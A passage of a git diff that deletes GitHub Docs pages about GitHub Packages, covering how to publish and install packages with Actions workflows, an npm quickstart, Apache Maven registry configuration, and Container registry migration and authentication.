packages](/actions/publishing-packages/publishing-nodejs-packages) -* [Publishing Docker images](/actions/publishing-packages/publishing-docker-images) -* [Publishing Java packages with Maven](/actions/publishing-packages/publishing-java-packages-with-maven) -* [Publishing Java packages with Gradle](/actions/publishing-packages/publishing-java-packages-with-gradle) diff --git a/content/packages/managing-github-packages-using-github-actions-workflows/index.md b/content/packages/managing-github-packages-using-github-actions-workflows/index.md deleted file mode 100644 index fb0da9415c04..000000000000 --- a/content/packages/managing-github-packages-using-github-actions-workflows/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Managing GitHub packages using GitHub Actions workflows -shortTitle: Managing GitHub packages with workflows -intro: 'You can safely publish and consume packages by building custom workflows that can also build, test, and deploy your code.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /publishing-and-installing-a-package-with-github-actions - - /example-workflows-for-publishing-a-package - - /about-github-packages-and-github-actions ---- -{% data reusables.package_registry.packages-ghes-release-stage %} diff --git a/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md b/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md deleted file mode 100644 index 3c893be7ddb2..000000000000 --- a/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md +++ /dev/null @@ -1,256 +0,0 @@ ---- -title: Publishing and installing a package with GitHub Actions -intro: 'You can configure a workflow in {% data variables.product.prodname_actions %} to automatically publish or install a package from {% data variables.product.prodname_registry %}.' -product: '{% data reusables.gated-features.packages %}' -redirect_from: - - /github/managing-packages-with-github-packages/using-github-packages-with-github-actions - - /packages/using-github-packages-with-your-projects-ecosystem/using-github-packages-with-github-actions - - /packages/guides/using-github-packages-with-github-actions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Publish & install with Actions -layout: inline ---- - -{% data reusables.package_registry.packages-ghes-release-stage %} - -## About {% data variables.product.prodname_registry %} with {% data variables.product.prodname_actions %} - -{% data reusables.repositories.about-github-actions %} {% data reusables.repositories.actions-ci-cd %} For more information, see [AUTOTITLE](/actions/learn-github-actions). - -You can extend the CI and CD capabilities of your repository by publishing or installing packages as part of your workflow. - -### Authenticating to package registries with granular permissions - -Some {% data variables.product.prodname_registry %} registries support granular permissions. This means you can choose to allow packages to be scoped to a user or an organization, or linked to a repository. For the list of registries that support granular permissions, see [AUTOTITLE](/packages/learn-github-packages/about-permissions-for-github-packages#granular-permissions-for-userorganization-scoped-packages). - -{% data reusables.package_registry.authenticate_with_pat_for_v2_registry %} - -### Authenticating to package registries with repository-scoped permissions - -Some {% data variables.product.prodname_registry %} registries only support repository-scoped permissions, and do not support granular permissions. For a list of these registries, see [AUTOTITLE](/packages/learn-github-packages/about-permissions-for-github-packages#permissions-for-repository-scoped-packages). - -If you want your workflow to access a {% data variables.product.prodname_registry %} registry that does not support granular permissions, then we recommend using the `GITHUB_TOKEN` that {% data variables.product.github %} automatically creates for your repository when you enable {% data variables.product.prodname_actions %}. You should set the permissions for this access token in the workflow file to grant read access for the `contents` scope and write access for the `packages` scope. For forks, the `GITHUB_TOKEN` is granted read access for the parent repository. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication). - -You can reference the `GITHUB_TOKEN` in your workflow file using the {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %} context. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication). - -## About permissions and package access - -### Packages scoped to users or organizations - -Registries that support granular permissions allow users to create and administer packages as free-standing resources at the organization level. Packages can be scoped to an organization or personal account and you can customize access to each of your packages separately from repository permissions. - -All workflows accessing registries that support granular permissions should use the `GITHUB_TOKEN` instead of a {% data variables.product.pat_generic %}. For more information about security best practices, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#using-secrets). - -### Packages scoped to repositories - -When you enable GitHub Actions, GitHub installs a GitHub App on your repository. The `GITHUB_TOKEN` secret is a GitHub App installation access token. You can use the installation access token to authenticate on behalf of the GitHub App installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#about-the-github_token-secret). - -{% data variables.product.prodname_registry %} allows you to push and pull packages through the `GITHUB_TOKEN` available to a {% data variables.product.prodname_actions %} workflow. - -## Default permissions and access settings for packages modified through workflows - -For packages in registries that support granular permissions, when you create, install, modify, or delete a package through a workflow, there are some default permission and access settings used to ensure admins have access to the workflow. You can adjust these access settings as well. For the list of registries that support granular permissions, see [AUTOTITLE](/packages/learn-github-packages/about-permissions-for-github-packages#granular-permissions-for-userorganization-scoped-packages). - -For example, by default if a workflow creates a package using the `GITHUB_TOKEN`, then: -* The package inherits the visibility and permissions model of the repository where the workflow is run. -* Repository admins where the workflow is run become the admins of the package once the package is created. - -These are more examples of how default permissions work for workflows that manage packages. - -| {% data variables.product.prodname_actions %} workflow task | Default permissions and access | -|----|----| -| Download an existing | - If the package is public, any workflow running in any repository can download the package.
- If the package is internal, then all workflows running in any repository owned by the Enterprise account can download the package. For enterprise-owned organizations, you can read any repository in the enterprise
- If the package is private, only workflows running in repositories that are given read permission on that package can download the package. {% data reusables.package_registry.public-forks-private-packages %}
-| Upload a new version to an existing package | - If the package is private, internal, or public, only workflows running in repositories that are given write permission on that package can upload new versions to the package. -| Delete a package or versions of a package | - If the package is private, internal, or public, only workflows running in repositories that are given admin permission can delete existing versions of the package. - -You can also adjust access to packages in a more granular way or adjust some of the default permissions behavior. For more information, see [AUTOTITLE](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility). - -## Publishing a package using an action - -You can use {% data variables.product.prodname_actions %} to automatically publish packages as part of your continuous integration (CI) flow. This approach to continuous deployment (CD) allows you to automate the creation of new package versions, if the code meets your quality standards. For example, you could create a workflow that runs CI tests every time a developer pushes code to a particular branch. If the tests pass, the workflow can publish a new package version to {% data variables.product.prodname_registry %}. - -{% data reusables.package_registry.actions-configuration %} - -The following example demonstrates how you can use {% data variables.product.prodname_actions %} to build {% ifversion not fpt or ghec %}and test{% endif %} your app, and then automatically create a Docker image and publish it to {% data variables.product.prodname_registry %}. The relevant settings are explained in the code. For full details about each element in a workflow, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions). - -Create a new workflow file in your repository (such as `.github/workflows/deploy-image.yml`), and add the following YAML. - -{% ifversion fpt or ghec %} -{% data reusables.package_registry.publish-docker-image %} - -{% else %} - -> [!NOTE] -> * {% data reusables.actions.actions-not-certified-by-github %} -> * {% data reusables.actions.actions-use-sha-pinning %} - -```yaml annotate copy -# -name: Create and publish a Docker image - -# Configures this workflow to run every time a change is pushed to the branch called `release`. -on: - push: - branches: ['release'] - -jobs: -# This job checks out the repository contents, installs `npm`, uses npm and webpack to build the app, and uploads the built files as an artifact that can be downloaded later in the workflow. -# It assumes that the built files are written to a directory called `public`. - run-npm-build: - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: npm install and build webpack - run: | - npm install - npm run build - - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: webpack artifacts - path: public/ - -# This job uses `npm test` to test the code. `needs: run-npm-build` makes this job dependent on the `run-npm-build` job. - run-npm-test: - runs-on: ubuntu-latest - needs: run-npm-build - strategy: - matrix: - os: [ubuntu-latest] - node-version: [14.x, 16.x] - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Use Node.js {% raw %}${{ matrix.node-version }}{% endraw %} - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: {% raw %}${{ matrix.node-version }}{% endraw %} - - uses: {% data reusables.actions.action-download-artifact %} - with: - name: webpack artifacts - path: public - - name: npm install, and test - run: | - npm install - npm test - env: - CI: true - -# This job publishes the package. `needs: run-npm-test` makes this job dependent on the `run-npm-test` job. - build-and-push-image: - runs-on: ubuntu-latest - needs: run-npm-test {% ifversion ghes %} - # Sets the permissions granted to the `GITHUB_TOKEN` for the actions in this job. - permissions: - contents: read - packages: write {% endif %} - # - steps: - - name: Checkout - uses: {% data reusables.actions.action-checkout %} - # Uses the `docker/login-action` action to log in to the registry using the account and password that will publish the packages. Once published, the packages are scoped to the account defined here. - - name: Log in to GitHub Docker Registry - uses: docker/login-action@65b78e6e13532edd9afa3aa52ac7964289d1a9c1 - with: - registry: docker.pkg.github.com - username: {% raw %}${{ github.actor }}{% endraw %} - password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - # This step uses the `docker/build-push-action` action to build the image, based on your repository's `Dockerfile`. If the build succeeds, it pushes the image to {% data variables.product.prodname_registry %}. - # It uses the `tags` parameter to tag the image with the SHA of the commit that triggered the workflow. - - name: Build and push Docker image - uses: docker/build-push-action@f2a1d5e99d037542a71f64918e516c093c6f3fc4 - with: - push: true - tags: | - docker.pkg.github.com/{% raw %}${{ github.repository }}/octo-image:${{ github.sha }}{% endraw %} -``` - -{% endif %} - -This new workflow will run automatically every time you push a change to a branch named `release` in the repository. You can view the progress in the **Actions** tab. - -A few minutes after the workflow has completed, the new package will be visible in your repository. To find your available packages, see [AUTOTITLE](/packages/learn-github-packages/viewing-packages#viewing-a-repositorys-packages). - -## Installing a package using an action - -You can install packages as part of your CI flow using {% data variables.product.prodname_actions %}. For example, you could configure a workflow so that anytime a developer pushes code to a pull request, the workflow resolves dependencies by downloading and installing packages hosted by {% data variables.product.prodname_registry %}. Then, the workflow can run CI tests that require the dependencies. - -Installing packages hosted by {% data variables.product.prodname_registry %} through {% data variables.product.prodname_actions %} requires minimal configuration or additional authentication when you use the `GITHUB_TOKEN`.{% ifversion fpt or ghec %} Data transfer is also free when an action installs a package. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-packages/about-billing-for-github-packages).{% endif %} - -{% data reusables.package_registry.actions-configuration %} - -## Upgrading a workflow that accesses a registry using a {% data variables.product.pat_generic %} - -{% data variables.product.prodname_registry %} supports the `GITHUB_TOKEN` for easy and secure authentication in your workflows. If you're using a registry that supports granular permissions, and your workflow is using a {% data variables.product.pat_generic %} to authenticate to the registry, then we highly recommend you update your workflow to use the `GITHUB_TOKEN`. - -For more information about the `GITHUB_TOKEN`, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#using-the-github_token-in-a-workflow). - -Using the `GITHUB_TOKEN`, instead of a {% data variables.product.pat_v1 %} with the `repo` scope, increases the security of your repository as you don't need to use a long-lived {% data variables.product.pat_generic %} that offers unnecessary access to the repository where your workflow is run. For more information about security best practices, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#using-secrets). - -1. Navigate to your package landing page. -{% data reusables.package_registry.package-settings-actions-access %} -1. To ensure your package has access to your workflow, you must add the repository where the workflow is stored to your package. {% data reusables.package_registry.package-settings-add-repo %} - - > [!NOTE] - > Adding a repository to your package {% data variables.package_registry.package-settings-actions-access-menu %} is different than connecting your package to a repository. For more information, see [AUTOTITLE](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package) and [AUTOTITLE](/packages/learn-github-packages/connecting-a-repository-to-a-package). - -1. Optionally, use {% data variables.package_registry.package-settings-actions-access-role-dropdown %} -1. Open your workflow file. On the line where you log in to the registry, replace your {% data variables.product.pat_generic %} with {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}. - -For example, this workflow publishes a Docker image to the {% data variables.product.prodname_container_registry %} and uses {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %} to authenticate. For more information, see [Set up Automated Builds](https://docs.docker.com/docker-hub/builds/) in the Docker documentation. - -```yaml annotate copy -# -name: Demo Push - -# This workflow runs when any of the following occur: -# - A push is made to a branch called `main` or `seed` -# - A tag starting with "v" is created -# - A pull request is created or updated -on: - push: - branches: - - main - - seed - tags: - - v* - pull_request: - # This creates an environment variable called `IMAGE_NAME ` with the value `ghtoken_product_demo`. -env: - IMAGE_NAME: ghtoken_product_demo -# -jobs: - # This pushes the image to {% data variables.product.prodname_registry %}. - push: - runs-on: ubuntu-latest - permissions: - packages: write - contents: read - # - steps: - - uses: {% data reusables.actions.action-checkout %} - - - name: Build image - run: docker build . --file Dockerfile --tag $IMAGE_NAME --label "runnumber=${GITHUB_RUN_ID}" - - - name: Log in to registry - run: echo "{% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}" | docker login ghcr.io -u {% raw %}${{ github.actor }}{% endraw %} --password-stdin - # - - name: Push image - run: | - IMAGE_ID=ghcr.io/{% raw %}${{ github.repository_owner }}{% endraw %}/$IMAGE_NAME - - # This changes all uppercase characters to lowercase. - IMAGE_ID=$(echo $IMAGE_ID | tr '[A-Z]' '[a-z]') - # This strips the git ref prefix from the version. - VERSION=$(echo "{% raw %}${{ github.ref }}{% endraw %}" | sed -e 's,.*/\(.*\),\1,') - # This strips the "v" prefix from the tag name. - [[ "{% raw %}${{ github.ref }}{% endraw %}" == "refs/tags/"* ]] && VERSION=$(echo $VERSION | sed -e 's/^v//') - # This uses the Docker `latest` tag convention. - [ "$VERSION" == "main" ] && VERSION=latest - echo IMAGE_ID=$IMAGE_ID - echo VERSION=$VERSION - docker tag $IMAGE_NAME $IMAGE_ID:$VERSION - docker push $IMAGE_ID:$VERSION -``` diff --git a/content/packages/quickstart.md b/content/packages/quickstart.md deleted file mode 100644 index 5319914dee05..000000000000 --- a/content/packages/quickstart.md +++ /dev/null @@ -1,148 +0,0 @@ ---- -title: Quickstart for GitHub Packages -intro: 'Publish to {% data variables.product.prodname_registry %} with {% data variables.product.prodname_actions %}.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Quickstart ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -In this guide, you'll create a {% data variables.product.prodname_actions %} workflow to test your code and then publish it to {% data variables.product.prodname_registry %}. - -{% ifversion ghec %} - -If you use a {% data variables.enterprise.prodname_managed_user %}, you cannot publish a package to a repository owned by your account. To follow this guide, use a personal account on {% data variables.product.prodname_dotcom_the_website %} instead. - -{% endif %} - -## Publishing your package - -1. Create a new repository on {% data variables.product.prodname_dotcom %}, adding the `.gitignore` for Node. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository). -1. Clone the repository to your local machine. - - ```shell - git clone https://{% ifversion ghes %}YOUR-HOSTNAME{% else %}github.com{% endif %}/YOUR-USERNAME/YOUR-REPOSITORY.git - cd YOUR-REPOSITORY - ``` - -1. Create an `index.js` file and add a basic alert to say "Hello world!" - - ```javascript copy - console.log("Hello, World!"); - ``` - -1. Initialize an npm package with `npm init`. In the package initialization wizard, enter your package with the name: _`@YOUR-USERNAME/YOUR-REPOSITORY`_, and set the test script to `exit 0`. This will generate a `package.json` file with information about your package. - - ```shell - $ npm init - ... - package name: @YOUR-USERNAME/YOUR-REPOSITORY - ... - test command: exit 0 - ... - ``` - -1. Run `npm install` to generate the `package-lock.json` file, then commit and push your changes to {% data variables.product.prodname_dotcom %}. - - ```shell - npm install - git add index.js package.json package-lock.json - git commit -m "initialize npm package" - git push - ``` - -1. Create a `.github/workflows` directory. In that directory, create a file named `release-package.yml`. -1. Copy the following YAML content into the `release-package.yml` file{% ifversion ghes %}, replacing `YOUR-HOSTNAME` with the name of your enterprise{% endif %}. - - ```yaml copy - name: Node.js Package - - on: - release: - types: [created] - - jobs: - build: - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-checkout %} - - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: 20 - - run: npm ci - - run: npm test - - publish-gpr: - needs: build - runs-on: ubuntu-latest - permissions: - packages: write - contents: read - steps: - - uses: {% data reusables.actions.action-checkout %} - - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: 20 - registry-url: {% ifversion ghes %}https://npm.YOUR-HOSTNAME.com/{% else %}https://npm.pkg.github.com/{% endif %} - - run: npm ci - - run: npm publish - env: - NODE_AUTH_TOKEN: ${% raw %}{{secrets.GITHUB_TOKEN}}{% endraw %} - ``` - -1. Tell npm which scope and registry to publish packages to using one of the following methods: - * Add an npm configuration file for the repository by creating a `.npmrc` file in the root directory with the contents: - - ```shell - @YOUR-USERNAME:registry=https://npm.pkg.github.com - ``` - - * Edit the `package.json` file and specify the `publishConfig` key: - - ```shell - "publishConfig": { - "@YOUR-USERNAME:registry": "https://npm.pkg.github.com" - } - ``` - -1. Commit and push your changes to {% data variables.product.prodname_dotcom %}. - - ```shell - $ git add .github/workflows/release-package.yml - # Also add the file you created or edited in the previous step. - $ git add .npmrc or package.json - $ git commit -m "workflow to publish package" - $ git push - ``` - -1. The workflow that you created will run whenever a new release is created in your repository. If the tests pass, then the package will be published to {% data variables.product.prodname_registry %}. - - To test this out, navigate to the **Code** tab in your repository and create a new release. For more information, see [Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository#creating-a-release). - -## Viewing your published package - -You can view all of the packages you have published. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.package_registry.packages-from-code-tab %} -{% data reusables.package_registry.navigate-to-packages %} - -## Installing a published package - -Now that you've published the package, you'll want to use it as a dependency across your projects. For more information, see [AUTOTITLE](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry#installing-a-package). - -## Next steps - -The basic workflow you just added runs any time a new release is created in your repository. But this is only the beginning of what you can do with {% data variables.product.prodname_registry %}. You can publish your package to multiple registries with a single workflow, trigger the workflow to run on different events such as a merged pull request, manage containers, and more. - -Combining {% data variables.product.prodname_registry %} and {% data variables.product.prodname_actions %} can help you automate nearly every aspect of your application development processes. Ready to get started? Here are some helpful resources for taking your next steps with {% data variables.product.prodname_registry %} and {% data variables.product.prodname_actions %}: - -* [AUTOTITLE](/packages/learn-github-packages) for an in-depth tutorial on GitHub Packages -* [AUTOTITLE](/actions/learn-github-actions) for an in-depth tutorial on GitHub Actions -* [AUTOTITLE](/packages/working-with-a-github-packages-registry) for specific uses cases and examples diff --git a/content/packages/working-with-a-github-packages-registry/index.md b/content/packages/working-with-a-github-packages-registry/index.md deleted file mode 100644 index dd9cb00b64cc..000000000000 --- a/content/packages/working-with-a-github-packages-registry/index.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Working with a GitHub Packages registry -shortTitle: Working with a GitHub Packages registry -intro: 'Learn how to use a supported {% data variables.product.prodname_registry %} registry.' -redirect_from: - - /github/managing-packages-with-github-packages/using-github-packages-with-your-projects-ecosystem - - /packages/using-github-packages-with-your-projects-ecosystem - - /packages/guides - - /packages/guides/package-client-guides-for-github-packages - - /packages/guides/container-guides-for-github-packages -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /working-with-the-container-registry - - /working-with-the-docker-registry - - /working-with-the-rubygems-registry - - /working-with-the-npm-registry - - /working-with-the-apache-maven-registry - - /working-with-the-gradle-registry - - /working-with-the-nuget-registry - - /migrating-to-the-container-registry-from-the-docker-registry ---- -{% data reusables.package_registry.packages-ghes-release-stage %} diff --git a/content/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry.md b/content/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry.md deleted file mode 100644 index e4a3f43f6307..000000000000 --- a/content/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Migrating to the Container registry from the Docker registry -intro: '{% ifversion ghes %}An enterprise owner can{% else %}{% data variables.product.company_short %} will{% endif %} migrate Docker images previously stored in the Docker registry on {% data variables.product.github %} to the {% data variables.product.prodname_container_registry %}.' -product: '{% data reusables.gated-features.packages %}' -redirect_from: - - /packages/getting-started-with-github-container-registry/migrating-to-github-container-registry-for-docker-images - - /packages/guides/container-guides-for-github-packages/migrating-to-github-container-registry-for-docker-images - - /packages/guides/migrating-to-github-container-registry-for-docker-images -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Migration to Container registry -topics: - - Containers - - Docker - - Migration ---- - -{% data reusables.package_registry.container-registry-ghes-beta %} - -## About the {% data variables.product.prodname_container_registry %} - -{% data reusables.package_registry.container-registry-benefits %} For more information, see [AUTOTITLE](/packages/working-with-a-github-packages-registry/working-with-the-container-registry). - -## About migration from the Docker registry - -{% data reusables.package_registry.container-registry-replaces-docker-registry %} If you've stored Docker images in the Docker registry, {% ifversion ghes %}an enterprise owner{% else %}{% data variables.product.company_short %}{% endif %} will gradually migrate the images to the {% data variables.product.prodname_container_registry %}. No action is required on your part. - -{% ifversion ghes %} - -> [!NOTE] -> {% data reusables.package_registry.container-registry-ghes-migration-availability %} For more information about finding the version of {% data variables.product.prodname_ghe_server %} that you use, see [AUTOTITLE](/get-started/learning-about-github/about-versions-of-github-docs#github-enterprise-server). - -{% endif %} - -After a Docker image has been migrated to the {% data variables.product.prodname_container_registry %}, you'll see the following changes to the details for the package. - -* The package icon will be the {% data variables.product.prodname_container_registry %} logo (a {% octicon "container" aria-label="The container icon" %} icon) instead of the Docker logo. -* The domain in the pull URL will be {% data variables.product.prodname_container_registry_namespace %} instead of {% data variables.product.prodname_docker_registry_namespace %}. - -{% data reusables.package_registry.container-registry-migration-namespaces %} - -After migration, you'll no longer be able to use the GraphQL API to query for packages with a `PackageType` of "DOCKER". Instead, you can use the REST API to query for packages with a `package_type` of "container". For more information, see [AUTOTITLE](/rest/packages). - -{% ifversion fpt or ghec %} - -## About billing for {% data variables.product.prodname_container_registry %} - -For more information about billing for the {% data variables.product.prodname_container_registry %}, see [AUTOTITLE](/billing/managing-billing-for-github-packages/about-billing-for-github-packages). - -{% else %} - -## Further reading - -* [AUTOTITLE](/admin/packages/migrating-your-enterprise-to-the-container-registry-from-the-docker-registry) - -{% endif %} diff --git a/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md b/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md deleted file mode 100644 index 306a4395f26a..000000000000 --- a/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md +++ /dev/null @@ -1,203 +0,0 @@ ---- -title: Working with the Apache Maven registry -intro: 'You can configure Apache Maven to publish packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Java project.' -product: '{% data reusables.gated-features.packages %}' -redirect_from: - - /articles/configuring-apache-maven-for-use-with-github-package-registry - - /github/managing-packages-with-github-package-registry/configuring-apache-maven-for-use-with-github-package-registry - - /github/managing-packages-with-github-packages/configuring-apache-maven-for-use-with-github-packages - - /packages/using-github-packages-with-your-projects-ecosystem/configuring-apache-maven-for-use-with-github-packages - - /packages/guides/configuring-apache-maven-for-use-with-github-packages -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Apache Maven registry ---- - -{% ifversion ghec %} - -> [!NOTE] The Apache Maven registry is not available for {% data variables.enterprise.data_residency %}. - -{% endif %} - -{% data reusables.package_registry.packages-ghes-release-stage %} - -{% data reusables.package_registry.admins-can-configure-package-types %} - -## Authenticating to {% data variables.product.prodname_registry %} - -{% data reusables.package_registry.authenticate-packages %} - -{% data reusables.package_registry.authenticate-packages-github-token %} - -### Authenticating with a {% data variables.product.pat_generic %} - -{% data reusables.package_registry.required-scopes %} - -You can authenticate to {% data variables.product.prodname_registry %} with Apache Maven by editing your _~/.m2/settings.xml_ file to include your {% data variables.product.pat_v1 %}. Create a new _~/.m2/settings.xml_ file if one doesn't exist. - -In the `servers` tag, add a child `server` tag with an `id`, replacing USERNAME with your {% data variables.product.prodname_dotcom %} username, and TOKEN with your {% data variables.product.pat_generic %}. - -In the `repositories` tag, configure a repository by mapping the `id` of the repository to the `id` you added in the `server` tag containing your credentials. Replace {% ifversion ghes %}HOSTNAME with the host name of {% data variables.location.product_location %}, and{% endif %} OWNER with the name of the personal account or organization that owns the repository. Because uppercase letters aren't supported, you must use lowercase letters for the repository owner even if the {% data variables.product.prodname_dotcom %} user or organization name contains uppercase letters. - -If you want to interact with multiple repositories, you can add each repository to separate `repository` children in the `repositories` tag, mapping the `id` of each to the credentials in the `servers` tag. - -{% data reusables.package_registry.apache-maven-snapshot-versions-supported %} - -{% ifversion ghes %} -If your instance has subdomain isolation enabled: -{% endif %} - -```xml - - - - github - - - - - github - - - central - https://repo1.maven.org/maven2 - - - github - https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}maven.HOSTNAME{% endif %}/OWNER/REPOSITORY - - true - - - - - - - - - github - USERNAME - TOKEN - - - -``` - -{% ifversion ghes %} -If your instance has subdomain isolation disabled: - -```xml - - - - github - - - - - github - - - central - https://repo1.maven.org/maven2 - - - github - HOSTNAME/_registry/maven/OWNER/REPOSITORY - - true - - - - - - - - - github - USERNAME - TOKEN - - - -``` - -{% endif %} - -## Publishing a package - -{% data reusables.package_registry.default-name %} For example, {% data variables.product.prodname_dotcom %} will publish a package named `com.example:test` in a repository called `OWNER/test`. - -{% data reusables.package_registry.maven-package-naming-convention %} - -If you would like to publish multiple packages to the same repository, you can include the URL of the repository in the `` element of the _pom.xml_ file. {% data variables.product.prodname_dotcom %} will match the repository based on that field. Since the repository name is also part of the `distributionManagement` element, there are no additional steps to publish multiple packages to the same repository. - -For more information on creating a package, see the [maven.apache.org documentation](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html). - -1. Edit the `distributionManagement` element of the _pom.xml_ file located in your package directory, replacing {% ifversion ghes %}HOSTNAME with the host name of {% data variables.location.product_location %}, {% endif %}`OWNER` with the name of the personal account or organization that owns the repository and `REPOSITORY` with the name of the repository containing your project.{% ifversion ghes %} - - If your instance has subdomain isolation enabled:{% endif %} - - ```xml - - - github - GitHub OWNER Apache Maven Packages - https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}maven.HOSTNAME{% endif %}/OWNER/REPOSITORY - - - ```{% ifversion ghes %} - If your instance has subdomain isolation disabled: - ```xml - - - github - GitHub OWNER Apache Maven Packages - https://HOSTNAME/_registry/maven/OWNER/REPOSITORY - - - ```{% endif %} - -1. Publish the package. - - ```shell - mvn deploy - ``` - -{% data reusables.package_registry.viewing-packages %} - -## Installing a package - -To install an Apache Maven package from {% data variables.product.prodname_registry %}, edit the _pom.xml_ file to include the package as a dependency. If you want to install packages from any repository for a specified repository owner, use a repository URL like `https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}maven.HOSTNAME{% endif %}/OWNER/*`. For more information on using a _pom.xml_ file in your project, see [Introduction to the POM](https://maven.apache.org/guides/introduction/introduction-to-the-pom.html) in the Apache Maven documentation. - -{% data reusables.package_registry.authenticate-step %} -1. Add the package dependencies to the `dependencies` element of your project _pom.xml_ file, replacing `com.example:test` with your package. - - ```xml - - - com.example - test - 1.0.0-SNAPSHOT - - - ``` - -1. Install the package. - - ```shell - mvn install - ``` - -## Further reading - -* [AUTOTITLE](/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry) -* [AUTOTITLE](/packages/learn-github-packages/deleting-and-restoring-a-package) diff --git a/content/packages/working-with-a-github-packages-registry/working-with-the-container-registry.md b/content/packages/working-with-a-github-packages-registry/working-with-the-container-registry.md deleted file mode 100644 index d59030cf2e18..000000000000 --- a/content/packages/working-with-a-github-packages-registry/working-with-the-container-registry.md +++ /dev/null @@ -1,249 +0,0 @@ ---- -title: Working with the Container registry -intro: 'You can store and manage Docker and OCI images in the {% data variables.product.prodname_container_registry %}.' -product: '{% data reusables.gated-features.packages %}' -redirect_from: - - /packages/managing-container-images-with-github-container-registry/pushing-and-pulling-docker-images - - /packages/guides/container-guides-for-github-packages/pushing-and-pulling-docker-images - - /packages/guides/pushing-and-pulling-docker-images - - /packages/getting-started-with-github-container-registry/about-github-container-registry - - /packages/managing-container-images-with-github-container-registry - - /packages/working-with-a-github-packages-registry/enabling-improved-container-support-with-the-container-registry - - /packages/getting-started-with-github-container-registry/enabling-improved-container-support - - /packages/guides/container-guides-for-github-packages/enabling-improved-container-support - - /packages/guides/enabling-improved-container-support -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Container registry ---- - -{% data reusables.package_registry.container-registry-ghes-beta %} - -## About the {% data variables.product.prodname_container_registry %} - -{% data reusables.package_registry.container-registry-benefits %} - -{% ifversion ghes %} - -To use the {% data variables.product.prodname_container_registry %} on {% data variables.product.prodname_ghe_server %}, your site administrator must first configure {% data variables.product.prodname_registry %} for your instance **and** enable subdomain isolation. For more information, see [AUTOTITLE](/admin/packages/getting-started-with-github-packages-for-your-enterprise) and [AUTOTITLE](/admin/configuration/configuring-network-settings/enabling-subdomain-isolation). - -{% endif %} - -{% ifversion ghec %} - -## URL for the {% data variables.product.prodname_container_registry %} - -If you access {% data variables.product.github %} at {% data variables.product.prodname_dotcom_the_website %}, you will publish packages to {% data reusables.package_registry.container-registry-hostname %}. Examples in this article use this URL. - -If you access {% data variables.product.github %} at another domain, such as `octocorp.ghe.com`, replace "{% data reusables.package_registry.container-registry-hostname %}" with `https://containers.SUBDOMAIN.ghe.com`, where `SUBDOMAIN` is your enterprise's unique subdomain. - -{% endif %} - -## About {% data variables.product.prodname_container_registry %} support - -The {% data variables.product.prodname_container_registry %} currently supports the following container image formats: - -* [Docker Image Manifest V2, Schema 2](https://docs.docker.com/registry/spec/manifest-v2-2/) -* [Open Container Initiative (OCI) Specifications](https://github.com/opencontainers/image-spec) - -When installing or publishing a Docker image, the {% data variables.product.prodname_container_registry %} supports foreign layers, such as Windows images. - -## Authenticating to the {% data variables.product.prodname_container_registry %} - -{% data reusables.package_registry.authenticate-packages %} - -### Authenticating in a {% data variables.product.prodname_actions %} workflow - -This registry supports granular permissions. {% data reusables.package_registry.authenticate_with_pat_for_v2_registry %} - -{% data reusables.package_registry.v2-actions-codespaces %} - -### Authenticating with a {% data variables.product.pat_v1 %} - -{% ifversion ghes %}Ensure that you replace `HOSTNAME` with {% data variables.location.product_location_enterprise %} hostname or IP address in the examples below.{% endif %} - -{% data 